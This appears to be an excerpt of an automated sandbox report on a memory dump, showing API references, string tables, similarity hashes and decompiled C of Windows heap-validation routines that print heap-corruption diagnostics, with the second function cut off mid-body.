0x6b534d52
0x6b534d8e
0x6b534d5d
0x6b534d5f
0x6b534d67
0x00000000
0x6b534d67
0x6b534d54
0x6b534d54
0x6b534d5b
0x00000000
0x6b534d5b
0x6b534ce2
0x6b534ce2
0x6b534ce5
0x6b534ce5
0x6b534ce7
0x6b534cfb
0x6b534ce9
0x6b534ce9
0x6b534cec
0x6b534cef
0x6b534cf1
0x6b534cf3
0x6b534cf3
0x6b534cf3
0x6b534cf6
0x6b534cf6
0x6b534d02
0x6b534d05
0x00000000
0x00000000
0x6b534d07
0x6b534d0f
0x6b534d11
0x00000000
0x00000000
0x00000000
0x6b534d11
0x00000000
0x6b534ce5
0x6b534ce0
0x6b534c8a
0x6b534c8f
0x6b534c91
0x00000000
0x00000000
0x6b534c9d
0x00000000
0x6b534c9d
0x6b534c52
0x6b534c5f
0x6b534c5f
0x6b534c62
0x00000000
0x00000000
0x6b534c57
0x6b534c59
0x6b534c5b
0x6b534caa
0x6b534c66
0x6b534c68
0x6b534c70
0x6b534c75
0x00000000
0x6b534c75
0x6b534c5d
0x6b534c5d
0x6b534c64
0x00000000
0x6b534c64
0x6b534c17
0x6b534b75
0x6b534bc4
0x6b534bc8
0x00000000
0x00000000
0x6b534bd9
0x00000000
0x00000000
0x00000000
0x6b534b77
0x6b534b7a
0x6b534b8c
0x6b534b7c
0x6b534b7e
0x6b534b83
0x6b534b86
0x6b534b86
0x6b534b90
0x6b534b93
0x00000000
0x00000000
0x6b534b95
0x6b534bab
0x6b534bb0
0x00000000
0x00000000
0x6b534bb2
0x6b534bb9
0x00000000
0x00000000
0x6b534bbb
0x6b534bbe
0x6b534bc1
0x6b534bc1
0x00000000
0x6b534bc1
0x6b534b97
0x6b534ba4
0x00000000
0x00000000
0x6b534ba6
0x00000000
0x6b534ba6
0x6b534ea9
0x6b534ea9
0x6b534eb2
0x00000000

APIs

RtlCompareMemoryUlong.1105(-00000008,?,FEEEFEEE), ref: 6B534DB2
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,?), ref: 6B534EE6
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,FEEEFEEE), ref: 6B534F12
DbgPrint.1105(HEAP: ,-00000008,?,FEEEFEEE), ref: 6B534F1F
DbgPrint.1105(Heap block at %p is not last block in segment (%p),-00000018,?), ref: 6B534F34
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6B534F62
DbgPrint.1105(HEAP: ), ref: 6B534F6F
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6B534FBF
DbgPrint.1105(HEAP: ), ref: 6B534FCC
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6B535022
DbgPrint.1105(HEAP: ), ref: 6B53502F
DbgPrint.1105(HEAP[%wZ]: ,-0000002C), ref: 6B535066
DbgPrint.1105(HEAP: ), ref: 6B535073
DbgPrint.1105(Heap entry %p has incorrect PreviousSize field (%04x instead of %04x),-00000018,?,?), ref: 6B535091
DbgPrint.1105(HEAP: ,-00000008,?,?), ref: 6B5350BB
DbgPrint.1105(Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x),?,00000000,?,-00000008,?,?), ref: 6B5350CB
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,-00000008,?,?), ref: 6B5350FF
DbgPrint.1105(HEAP: ,-00000008,?,?), ref: 6B53510C

Strings

Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x), xrefs: 6B5350C6
Heap block at %p is not last block in segment (%p), xrefs: 6B534FD6
Heap block at %p has incorrect segment offset (%x), xrefs: 6B53503B
Heap block at %p has corrupted PreviousSize (%lx), xrefs: 6B534F81
Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x), xrefs: 6B535119
Free Heap block %p modified at %p after it was freed, xrefs: 6B534F2F
HEAP: , xrefs: 6B534F1A, 6B534F6A, 6B534FC7, 6B53502A, 6B53506E, 6B5350B6, 6B535107
Heap entry %p has incorrect PreviousSize field (%04x instead of %04x), xrefs: 6B53508C
HEAP[%wZ]: , xrefs: 6B534EE1, 6B534F0D, 6B534F5D, 6B534FBA, 6B53501D, 6B535061, 6B5350FA

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CompareMemoryUlong
String ID: Free Heap block %p modified at %p after it was freed$HEAP: $HEAP[%wZ]: $Heap Segment at %p contains invalid NumberOfUnCommittedPages (%x != %x)$Heap Segment at %p contains invalid NumberOfUnCommittedRanges (%x != %x)$Heap block at %p has corrupted PreviousSize (%lx)$Heap block at %p has incorrect segment offset (%x)$Heap block at %p is not last block in segment (%p)$Heap entry %p has incorrect PreviousSize field (%04x instead of %04x)
API String ID: 2560481200-3591852110
Opcode ID: 6e96035e66e7bf0a05d566949a952f604528d0f7a938b4d7b62093e1648406e9
Instruction ID: 199b295f8331ddb5686704eb5a0497041a95538d1223fccca55bba219d3f653a
Opcode Fuzzy Hash: 6e96035e66e7bf0a05d566949a952f604528d0f7a938b4d7b62093e1648406e9
Instruction Fuzzy Hash: 9812BE306106A59FE725CF68C491BFAB7F1EF49704F148899E4958B741E73EE880CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B534496, Relevance: 45.9, APIs: 18, Strings: 8, Instructions: 417
memorynativeCOMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E6B534496(signed int* __ecx, void* __edx) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed char _v24;
				signed int* _v28;
				char _v32;
				signed int* _v36;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t150;
				intOrPtr _t151;
				signed char _t156;
				intOrPtr _t157;
				unsigned int _t169;
				intOrPtr _t170;
				signed int* _t183;
				signed char _t184;
				intOrPtr _t191;
				signed int _t201;
				intOrPtr _t203;
				intOrPtr _t212;
				intOrPtr _t220;
				signed int _t230;
				signed int _t241;
				signed int _t244;
				void* _t259;
				signed int _t260;
				signed int* _t261;
				intOrPtr* _t262;
				signed int _t263;
				signed int* _t264;
				signed int _t267;
				signed int* _t268;
				void* _t270;
				void* _t281;
				signed short _t285;
				signed short _t289;
				signed int _t291;
				signed int _t298;
				signed char _t303;
				signed char _t308;
				signed int _t314;
				intOrPtr _t317;
				unsigned int _t319;
				signed int* _t325;
				signed int _t326;
				signed int _t327;
				intOrPtr _t328;
				signed int _t329;
				signed int _t330;
				signed int* _t331;
				signed int _t332;
				signed int _t350;

				_t259 = __edx;
				_t331 = __ecx;
				_v28 = __ecx;
				_v20 = 0;
				_v12 = 0;
				_t150 = E6B5349A4(__ecx);
				_t267 = 1;
				if(_t150 == 0) {
					L61:
					_t151 =  *[fs:0x30];
					__eflags =  *((char*)(_t151 + 2));
					if( *((char*)(_t151 + 2)) != 0) {
						 *0x6b566378 = _t267;
						asm("int3");
						 *0x6b566378 = 0;
					}
					__eflags = _v12;
					if(_v12 != 0) {
						_t105 =  &_v16;
						 *_t105 = _v16 & 0x00000000;
						__eflags =  *_t105;
						E6B4A174B( &_v12,  &_v16, 0x8000);
					}
					L65:
					__eflags = 0;
					return 0;
				}
				if(_t259 != 0 || (__ecx[0x10] & 0x20000000) != 0) {
					_t268 =  &(_t331[0x30]);
					_v32 = 0;
					_t260 =  *_t268;
					_t308 = 0;
					_v24 = 0;
					while(_t268 != _t260) {
						_t260 =  *_t260;
						_v16 =  *_t325 & 0x0000ffff;
						_t156 = _t325[0];
						_v28 = _t325;
						_v5 = _t156;
						__eflags = _t156 & 0x00000001;
						if((_t156 & 0x00000001) != 0) {
							_t157 =  *[fs:0x30];
							__eflags =  *(_t157 + 0xc);
							if( *(_t157 + 0xc) == 0) {
								_push("HEAP: ");
								E6B47B150();
							} else {
								E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t325);
							E6B47B150("dedicated (%04Ix) free list element %p is marked busy\n", _v16);
							L32:
							_t270 = 0;
							__eflags = _t331[0x13];
							if(_t331[0x13] != 0) {
								_t325[0] = _t325[0] ^ _t325[0] ^  *_t325;
								 *_t325 =  *_t325 ^ _t331[0x14];
							}
							L60:
							_t267 = _t270 + 1;
							__eflags = _t267;
							goto L61;
						}
						_t169 =  *_t325 & 0x0000ffff;
						__eflags = _t169 - _t308;
						if(_t169 < _t308) {
							_t170 =  *[fs:0x30];
							__eflags =  *(_t170 + 0xc);
							if( *(_t170 + 0xc) == 0) {
								_push("HEAP: ");
								E6B47B150();
							} else {
								E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							E6B47B150("Non-Dedicated free list element %p is out of order\n", _t325);
							goto L32;
						} else {
							__eflags = _t331[0x13];
							_t308 = _t169;
							_v24 = _t308;
							if(_t331[0x13] != 0) {
								_t325[0] = _t169 >> 0x00000008 ^ _v5 ^ _t308;
								 *_t325 =  *_t325 ^ _t331[0x14];
								__eflags =  *_t325;
							}
							_t26 =  &_v32;
							 *_t26 = _v32 + 1;
							__eflags =  *_t26;
							continue;
						}
					}
					_v16 = 0x208 + (_t331[0x21] & 0x0000ffff) * 4;
					if( *0x6b566350 != 0 && _t331[0x2f] != 0) {
						_push(4);
						_push(0x1000);
						_push( &_v16);
						_push(0);
						_push( &_v12);
						_push(0xffffffff);
						if(E6B4B9660() >= 0) {
							_v20 = _v12 + 0x204;
						}
					}
					_t183 =  &(_t331[0x27]);
					_t281 = 0x81;
					_t326 =  *_t183;
					if(_t183 == _t326) {
						L49:
						_t261 =  &(_t331[0x29]);
						_t184 = 0;
						_t327 =  *_t261;
						_t282 = 0;
						_v24 = 0;
						_v36 = 0;
						__eflags = _t327 - _t261;
						if(_t327 == _t261) {
							L53:
							_t328 = _v32;
							_v28 = _t331;
							__eflags = _t328 - _t184;
							if(_t328 == _t184) {
								__eflags = _t331[0x1d] - _t282;
								if(_t331[0x1d] == _t282) {
									__eflags = _v12;
									if(_v12 == 0) {
										L82:
										_t267 = 1;
										__eflags = 1;
										goto L83;
									}
									_t329 = _t331[0x2f];
									__eflags = _t329;
									if(_t329 == 0) {
										L77:
										_t330 = _t331[0x22];
										__eflags = _t330;
										if(_t330 == 0) {
											L81:
											_t129 =  &_v16;
											 *_t129 = _v16 & 0x00000000;
											__eflags =  *_t129;
											E6B4A174B( &_v12,  &_v16, 0x8000);
											goto L82;
										}
										_t314 = _t331[0x21] & 0x0000ffff;
										_t285 = 1;
										__eflags = 1 - _t314;
										if(1 >= _t314) {
											goto L81;
										} else {
											goto L79;
										}
										while(1) {
											L79:
											_t330 = _t330 + 0x40;
											_t332 = _t285 & 0x0000ffff;
											_t262 = _v20 + _t332 * 4;
											__eflags =  *_t262 -  *((intOrPtr*)(_t330 + 8));
											if( *_t262 !=  *((intOrPtr*)(_t330 + 8))) {
												break;
											}
											_t285 = _t285 + 1;
											__eflags = _t285 - _t314;
											if(_t285 < _t314) {
												continue;
											}
											goto L81;
										}
										_t191 =  *[fs:0x30];
										__eflags =  *(_t191 + 0xc);
										if( *(_t191 + 0xc) == 0) {
											_push("HEAP: ");
											E6B47B150();
										} else {
											E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
										}
										_push(_t262);
										_push( *((intOrPtr*)(_v20 + _t332 * 4)));
										_push( *((intOrPtr*)(_t330 + 8)));
										_push(_t330 + 0x10);
										E6B47B150("Tag %04x (%ws) size incorrect (%Ix != %Ix) %p\n", _t332);
										L59:
										_t270 = 0;
										__eflags = 0;
										goto L60;
									}
									_t289 = 1;
									__eflags = 1;
									while(1) {
										_t201 = _v12;
										_t329 = _t329 + 0xc;
										_t263 = _t289 & 0x0000ffff;
										__eflags =  *((intOrPtr*)(_t201 + _t263 * 4)) -  *((intOrPtr*)(_t329 + 8));
										if( *((intOrPtr*)(_t201 + _t263 * 4)) !=  *((intOrPtr*)(_t329 + 8))) {
											break;
										}
										_t289 = _t289 + 1;
										__eflags = _t289 - 0x81;
										if(_t289 < 0x81) {
											continue;
										}
										goto L77;
									}
									_t203 =  *[fs:0x30];
									__eflags =  *(_t203 + 0xc);
									if( *(_t203 + 0xc) == 0) {
										_push("HEAP: ");
										E6B47B150();
									} else {
										E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									}
									_t291 = _v12;
									_push(_t291 + _t263 * 4);
									_push( *((intOrPtr*)(_t291 + _t263 * 4)));
									_push( *((intOrPtr*)(_t329 + 8)));
									E6B47B150("Pseudo Tag %04x size incorrect (%Ix != %Ix) %p\n", _t263);
									goto L59;
								}
								_t212 =  *[fs:0x30];
								__eflags =  *(_t212 + 0xc);
								if( *(_t212 + 0xc) == 0) {
									_push("HEAP: ");
									E6B47B150();
								} else {
									E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push(_t331[0x1d]);
								_push(_v36);
								_push("Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)\n");
								L58:
								E6B47B150();
								goto L59;
							}
							_t220 =  *[fs:0x30];
							__eflags =  *(_t220 + 0xc);
							if( *(_t220 + 0xc) == 0) {
								_push("HEAP: ");
								E6B47B150();
							} else {
								E6B47B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_t328);
							_push(_v24);
							_push("Number of free blocks in arena (%ld) does not match number in the free lists (%ld)\n");
							goto L58;
						} else {
							goto L50;
						}
						while(1) {
							L50:
							_t92 = _t327 - 0x10; // -24
							_t282 = _t331;
							_t230 = E6B534AEF(_t331, _t92, _t331,  &_v24,  &_v36,  &_v28, _v20, _v12);
							__eflags = _t230;
							if(_t230 == 0) {
								goto L59;
							}
							_t327 =  *_t327;
							__eflags = _t327 - _t261;
							if(_t327 != _t261) {
								continue;
							}
							_t184 = _v24;
							_t282 = _v36;
							goto L53;
						}
						goto L59;
					} else {
						while(1) {
							_t39 = _t326 + 0x18; // 0x10
							_t264 = _t39;
							if(_t331[0x13] != 0) {
								_t319 = _t331[0x14] ^  *_t264;
								 *_t264 = _t319;
								_t303 = _t319 >> 0x00000010 ^ _t319 >> 0x00000008 ^ _t319;
								_t348 = _t319 >> 0x18 - _t303;
								if(_t319 >> 0x18 != _t303) {
									_push(_t303);
									E6B52FA2B(_t264, _t331, _t264, _t326, _t331, _t348);
								}
								_t281 = 0x81;
							}
							_t317 = _v20;
							if(_t317 != 0) {
								_t241 =  *(_t326 + 0xa) & 0x0000ffff;
								_t350 = _t241;
								if(_t350 != 0) {
									if(_t350 >= 0) {
										__eflags = _t241 & 0x00000800;
										if(__eflags == 0) {
											__eflags = _t241 - _t331[0x21];
											if(__eflags < 0) {
												_t298 = _t241;
												_t65 = _t317 + _t298 * 4;
												 *_t65 =  *(_t317 + _t298 * 4) + ( *(_t326 + 0x10) >> 3);
												__eflags =  *_t65;
											}
										}
									} else {
										_t244 = _t241 & 0x00007fff;
										if(_t244 < _t281) {
											 *((intOrPtr*)(_v12 + _t244 * 4)) =  *((intOrPtr*)(_v12 + _t244 * 4)) + ( *(_t326 + 0x10) >> 3);
										}
									}
								}
							}
							if(( *(_t326 + 0x1a) & 0x00000004) != 0 && E6B5223E3(_t331, _t264) == 0) {
								break;
							}
							if(_t331[0x13] != 0) {
								_t264[0] = _t264[0] ^ _t264[0] ^  *_t264;
								 *_t264 =  *_t264 ^ _t331[0x14];
							}
							_t326 =  *_t326;
							if( &(_t331[0x27]) == _t326) {
								goto L49;
							} else {
								_t281 = 0x81;
								continue;
							}
						}
						__eflags = _t331[0x13];
						if(_t331[0x13] != 0) {
							 *(_t326 + 0x1b) =  *(_t326 + 0x1a) ^  *(_t326 + 0x19) ^  *(_t326 + 0x18);
							 *(_t326 + 0x18) =  *(_t326 + 0x18) ^ _t331[0x14];
						}
						goto L65;
					}
				} else {
					L83:
					return _t267;
				}
			}

0x6b5344a1
0x6b5344a3
0x6b5344a7
0x6b5344ac
0x6b5344af
0x6b5344b2
0x6b5344b9
0x6b5344bc
0x6b5347f2
0x6b5347f2
0x6b5347f8
0x6b5347fc
0x6b5347fe
0x6b534804
0x6b534805
0x6b534805
0x6b53480c
0x6b534810
0x6b534812
0x6b534812
0x6b534812
0x6b534822
0x6b534822
0x6b534827
0x6b534827
0x00000000
0x6b534827
0x6b5344c4
0x6b5344d3
0x6b5344d9
0x6b5344dc
0x6b5344de
0x6b5344e0
0x6b534560
0x6b534520
0x6b534522
0x6b534525
0x6b534528
0x6b53452b
0x6b53452e
0x6b534530
0x6b534697
0x6b53469d
0x6b5346a1
0x6b5346c0
0x6b5346c5
0x6b5346a3
0x6b5346b8
0x6b5346bd
0x6b5346cb
0x6b5346d4
0x6b534677
0x6b534677
0x6b534679
0x6b53467c
0x6b53468a
0x6b534690
0x6b534690
0x6b5347f1
0x6b5347f1
0x6b5347f1
0x00000000
0x6b5347f1
0x6b534536
0x6b534539
0x6b53453c
0x6b534636
0x6b53463c
0x6b534640
0x6b53465f
0x6b534664
0x6b534642
0x6b534657
0x6b53465c
0x6b534670
0x00000000
0x6b534542
0x6b534542
0x6b534546
0x6b534548
0x6b53454b
0x6b534555
0x6b53455b
0x6b53455b
0x6b53455b
0x6b53455d
0x6b53455d
0x6b53455d
0x00000000
0x6b53455d
0x6b53453c
0x6b534579
0x6b53457c
0x6b534587
0x6b534589
0x6b534591
0x6b534592
0x6b534597
0x6b534598
0x6b5345a1
0x6b5345ab
0x6b5345ab
0x6b5345a1
0x6b5345ae
0x6b5345b4
0x6b5345b9
0x6b5345bd
0x6b534759
0x6b534759
0x6b53475f
0x6b534761
0x6b534763
0x6b534765
0x6b534768
0x6b53476b
0x6b53476d
0x6b53479c
0x6b53479c
0x6b53479f
0x6b5347a2
0x6b5347a4
0x6b534830
0x6b534833
0x6b534879
0x6b53487d
0x6b5348f1
0x6b5348f3
0x6b5348f3
0x00000000
0x6b5348f3
0x6b53487f
0x6b534885
0x6b534887
0x6b5348a8
0x6b5348a8
0x6b5348ae
0x6b5348b0
0x6b5348dc
0x6b5348dc
0x6b5348dc
0x6b5348dc
0x6b5348ec
0x00000000
0x6b5348ec
0x6b5348b2
0x6b5348bc
0x6b5348be
0x6b5348c1
0x00000000
0x00000000
0x00000000
0x00000000
0x6b5348c3
0x6b5348c3
0x6b5348c6
0x6b5348c9
0x6b5348cc
0x6b5348d1
0x6b5348d4
0x00000000
0x00000000
0x6b5348d6
0x6b5348d7
0x6b5348da
0x00000000
0x00000000
0x00000000
0x6b5348da
0x6b53494f
0x6b534955
0x6b534959
0x6b534978
0x6b53497d
0x6b53495b
0x6b534970
0x6b534975
0x6b534986
0x6b534987
0x6b53498d
0x6b534990
0x6b534997
0x6b5347ef
0x6b5347ef
0x6b5347ef
0x00000000
0x6b5347ef
0x6b534890
0x6b534890
0x6b534891
0x6b534891
0x6b534894
0x6b534897
0x6b53489d
0x6b5348a0
0x00000000
0x00000000
0x6b5348a2
0x6b5348a3
0x6b5348a6
0x00000000
0x00000000
0x00000000
0x6b5348a6
0x6b5348fb
0x6b534901
0x6b534905
0x6b534924
0x6b534929
0x6b534907
0x6b53491c
0x6b534921
0x6b53492f
0x6b534935
0x6b534936
0x6b534939
0x6b534942
0x00000000
0x6b534947
0x6b534835
0x6b53483b
0x6b53483f
0x6b53485e
0x6b534863
0x6b534841
0x6b534856
0x6b53485b
0x6b534869
0x6b53486c
0x6b53486f
0x6b5347e7
0x6b5347e7
0x00000000
0x6b5347ec
0x6b5347aa
0x6b5347b0
0x6b5347b4
0x6b5347d3
0x6b5347d8
0x6b5347b6
0x6b5347cb
0x6b5347d0
0x6b5347de
0x6b5347df
0x6b5347e2
0x00000000
0x00000000
0x00000000
0x00000000
0x6b53476f
0x6b53476f
0x6b534778
0x6b534785
0x6b534787
0x6b53478c
0x6b53478e
0x00000000
0x00000000
0x6b534790
0x6b534792
0x6b534794
0x00000000
0x00000000
0x6b534796
0x6b534799
0x00000000
0x6b534799
0x00000000
0x6b5345c3
0x6b5345c3
0x6b5345c7
0x6b5345c7
0x6b5345ca
0x6b5345cf
0x6b5345d3
0x6b5345df
0x6b5345e4
0x6b5345e6
0x6b5345e8
0x6b5345ed
0x6b5345ed
0x6b5345f2
0x6b5345f2
0x6b5345f7
0x6b5345fc
0x6b534602
0x6b534606
0x6b534609
0x6b53460f
0x6b5346de
0x6b5346e3
0x6b5346e5
0x6b5346ec
0x6b5346ee
0x6b5346f6
0x6b5346f6
0x6b5346f6
0x6b5346f6
0x6b5346ec
0x6b534615
0x6b534615
0x6b53461d
0x6b53462e
0x6b53462e
0x6b53461d
0x6b53460f
0x6b534609
0x6b5346fd
0x00000000
0x00000000
0x6b534710
0x6b53471a
0x6b534720
0x6b534720
0x6b534722
0x6b53472c
0x00000000
0x6b53472e
0x6b53472e
0x00000000
0x6b53472e
0x6b53472c
0x6b534738
0x6b53473c
0x6b53474b
0x6b534751
0x6b534751
0x00000000
0x6b53473c
0x6b5348f4
0x6b5348f4
0x00000000
0x6b5348f4

APIs

Part of subcall function 6B5349A4: ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004,00000000,?,00000000,?,?,6B5344B7,?), ref: 6B5349DF
Part of subcall function 6B5349A4: RtlCompareMemory.1105(?,01000000,?,00000000,?,00000000,?,?,6B5344B7,?), ref: 6B5349FE
Part of subcall function 6B5349A4: DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?), ref: 6B534A42
Part of subcall function 6B5349A4: DbgPrint.1105(Heap %p - headers modified (%p is %lx instead of %lx),?,HEAP: ,HEAP: ,00000000,?), ref: 6B534A66

ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004), ref: 6B53459A
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20,0000001C), ref: 6B534657
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20,0000001C,6B4CF07A), ref: 6B534664
DbgPrint.1105(Non-Dedicated free list element %p is out of order,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20,0000001C), ref: 6B534670
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20,0000001C), ref: 6B5346B8
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20,0000001C,6B4CF07A), ref: 6B5346C5
DbgPrint.1105(dedicated (%04Ix) free list element %p is marked busy,00000000,-00000008,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20), ref: 6B5346D4
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20,0000001C), ref: 6B5347CB
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20,0000001C,6B4CF07A), ref: 6B5347D8
DbgPrint.1105(Total size of free blocks in arena (%Id) does not match number total in heap header (%Id),?,?,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20), ref: 6B5347E7
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20,0000001C), ref: 6B534856
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20,0000001C,6B4CF07A), ref: 6B534863
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20,0000001C), ref: 6B53491C
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20,0000001C,6B4CF07A), ref: 6B534929
DbgPrint.1105(Pseudo Tag %04x size incorrect (%Ix != %Ix) %p,?,00000000,00000000,00000000), ref: 6B534942
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20,0000001C), ref: 6B534970
DbgPrint.1105(HEAP: ,?,?,?,?,?,?,?,?,?,?,?,?,6B550F20,0000001C,6B4CF07A), ref: 6B53497D
DbgPrint.1105(Tag %04x (%ws) size incorrect (%Ix != %Ix) %p,?,?,00000000,?,?), ref: 6B534997

Strings

Non-Dedicated free list element %p is out of order, xrefs: 6B53466B
Total size of free blocks in arena (%Id) does not match number total in heap header (%Id), xrefs: 6B53486F
Pseudo Tag %04x size incorrect (%Ix != %Ix) %p, xrefs: 6B53493D
Number of free blocks in arena (%ld) does not match number in the free lists (%ld), xrefs: 6B5347E2
HEAP: , xrefs: 6B53465F, 6B5346C0, 6B5347D3, 6B53485E, 6B534924, 6B534978
dedicated (%04Ix) free list element %p is marked busy, xrefs: 6B5346CF
Tag %04x (%ws) size incorrect (%Ix != %Ix) %p, xrefs: 6B534992
HEAP[%wZ]: , xrefs: 6B534652, 6B5346B3, 6B5347C6, 6B534851, 6B534917, 6B53496B

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Memory$AllocateVirtual$Compare
String ID: HEAP: $HEAP[%wZ]: $Non-Dedicated free list element %p is out of order$Number of free blocks in arena (%ld) does not match number in the free lists (%ld)$Pseudo Tag %04x size incorrect (%Ix != %Ix) %p$Tag %04x (%ws) size incorrect (%Ix != %Ix) %p$Total size of free blocks in arena (%Id) does not match number total in heap header (%Id)$dedicated (%04Ix) free list element %p is marked busy
API String ID: 1841224210-1357697941
Opcode ID: 6a4c510ea4e39f9623b8d46a4faafd56ac160fbf4546a0c0840d50b0410fa5e3
Instruction ID: 8a7e17b17024bec2ec128f1c03af1a7e5ad2d884c18622c17b6d762e0db36b02
Opcode Fuzzy Hash: 6a4c510ea4e39f9623b8d46a4faafd56ac160fbf4546a0c0840d50b0410fa5e3
Instruction Fuzzy Hash: E5F103359106A59FEB11CF68C490FEAF7F1FF46308F0084A9E05597341E73AA986CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B492990, Relevance: 42.5, APIs: 17, Strings: 7, Instructions: 521
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E6B492990(intOrPtr* __ecx, int __edx, signed short* _a4, signed int _a8, int _a12) {
				signed int _v12;
				short _v16;
				short _v20;
				short _v24;
				short* _v28;
				short* _v32;
				void* _v36;
				short _v38;
				void* _v40;
				signed int _v44;
				char _v45;
				signed short _v46;
				signed short _v48;
				signed int _v52;
				void* _v56;
				signed short* _v60;
				int _v64;
				int _v68;
				intOrPtr _v72;
				void* _v76;
				int _v80;
				signed int _v84;
				signed int _v88;
				void* _v92;
				signed char _v120;
				intOrPtr _v124;
				int _v128;
				int _v132;
				intOrPtr _v136;
				intOrPtr _v148;
				intOrPtr _v152;
				void _v156;
				char _v160;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t208;
				signed int _t213;
				signed int _t222;
				void* _t225;
				signed char _t226;
				signed short _t230;
				signed int _t231;
				void* _t232;
				signed int _t233;
				signed short _t241;
				void* _t243;
				signed int _t244;
				signed int _t247;
				signed int _t248;
				void* _t251;
				signed int _t252;
				signed char _t265;
				void* _t270;
				signed int _t271;
				unsigned int _t278;
				signed int _t280;
				void* _t288;
				void* _t291;
				signed int _t292;
				unsigned int _t298;
				void* _t304;
				signed int _t305;
				unsigned int _t316;
				signed short _t319;
				signed char _t323;
				signed int _t328;
				int _t329;
				short* _t331;
				intOrPtr _t334;
				signed short _t335;
				signed int _t336;
				intOrPtr _t337;
				signed int _t339;
				intOrPtr _t340;
				signed int _t341;
				intOrPtr _t344;
				intOrPtr _t351;
				signed short _t353;
				intOrPtr _t356;
				signed short* _t357;
				void* _t362;
				unsigned int _t364;
				signed short _t366;
				signed int _t367;
				int _t368;
				intOrPtr* _t369;
				signed int _t370;
				signed int _t371;
				signed short* _t372;
				signed int _t375;
				signed int _t376;
				signed int _t377;
				void* _t378;
				void* _t379;

				_t361 = __edx;
				_v12 =  *0x6b56d360 ^ _t377;
				_t329 = _a12;
				_v60 = _a4;
				_t369 = __ecx;
				_v88 = _a8;
				_v45 = __edx;
				_v160 = 0x40;
				memset( &_v156, 0, 0x3c);
				_t379 = _t378 + 0xc;
				_v76 =  *_t369;
				_t368 = 0;
				_v72 =  *((intOrPtr*)(_t369 + 4));
				_t208 =  &_v16;
				_v32 = _t208;
				_v28 = _t208;
				_v36 = _t208;
				_v16 = 0;
				_v52 = 0;
				_v24 = 2;
				_v20 = 2;
				_v40 = 0x20000;
				_t370 = E6B492D50(3, 0, 2,  &_v76,  &_v160);
				if(_t370 >= 0) {
					__eflags = _v45;
					if(_v45 != 0) {
						_t370 = 0;
						L2:
						_t213 = _v32;
						_t331 = _v28;
						if(_t213 != 0) {
							if(_t213 != _t331) {
								_v88 = _t213;
								RtlFreeUnicodeString( &_v92);
